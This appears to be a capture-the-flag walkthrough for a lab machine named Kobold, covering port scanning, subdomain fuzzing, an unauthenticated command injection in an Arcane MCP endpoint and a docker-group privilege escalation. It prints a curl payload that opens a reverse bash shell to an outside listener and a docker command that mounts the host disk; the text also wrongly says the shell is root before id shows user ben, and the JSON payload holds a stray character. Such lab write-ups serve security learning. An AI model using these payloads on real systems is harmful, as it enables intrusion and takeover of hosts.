

KOBOLD - Walktrough

By Sarah Oualli

User Flag

Let's start as usual:

```
nmap -p- -sV <target>
```

We got 4 open ports: 22, 80, 443(ssl/http), 3552.

Let's go to the URL after having the target ip added to `/etc/hosts/`.

This port is actually interesting, it tells us that something is in subdomains.

```
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 13:25 CEST
Nmap scan report for kobold.htb (10.129.20.164)
Host is up (0.057s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     nginx 1.24.0 (Ubuntu)
443/tcp   open  ssl/http nginx 1.24.0 (Ubuntu)
3552/tcp  open  http     Golang net/http server
```

In fact in the browser, when I click the "Coming Soon" button, it doesn't happen anything and in the url I just see a # (`http://kobold.htb/#`).

Since the port 443 tells us there are hidden subdomains I try to ffuf them.

I don't have seclists so I install it (useful wordlist):

```
sudo apt install seclists
```

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -mc 200 -k
```

This way I only see the 200 redirect (successful ones).

I found a 200 subdomain: mcp.

```
sudo nano /etc/hosts
# add to the target ip mcp.kobold.htb
```

Now I visit the redirect to port 3552, it's an Arcane login page v1.13.0.

[CVE2026-23520](#)

This is a command injection vulnerability at endpoint `api/mcp/connect` which accepts arbitrary commands without authentication via the `serverConfig.command` parameter.

```
nc -lvnp 4444
```

I run this command to get to root:

```
curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
  "serverConfig": {
    "command": "bash",o
    "args": ["-c", "bash -i >& /dev/tcp/YOUR_VPN_IP/4444 0>&1"],
    "env": {}
  },
  "serverId": "pwn"
}'
```

Now the listener should be in root, i need to stabilize the terminal:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Ctrl+Z to get temporarily back on my Kali prompt.

```
stty raw -echo; fg
```

Press Enter 2 times.

Now you're on root: get the flag!

Root Flag

```
id
```

```
uid=1001(ben) gid=37(operator) groups=37(operator),1001(ben)
```

Group Docker does not appear, but this is kinda standard for reversed shells.

I switch group using `sg .`

```
sg docker -c "docker images"
```

Instead of trying downloading new images (timeout failure), I used the `mysql` image already present for mounting the entire disk of target:

```
sg docker -c "docker run --rm -v /:/mnt -it mysql chroot /mnt"
```

I finally got into root!

Read the flag:

```
cat /root/root.txt
```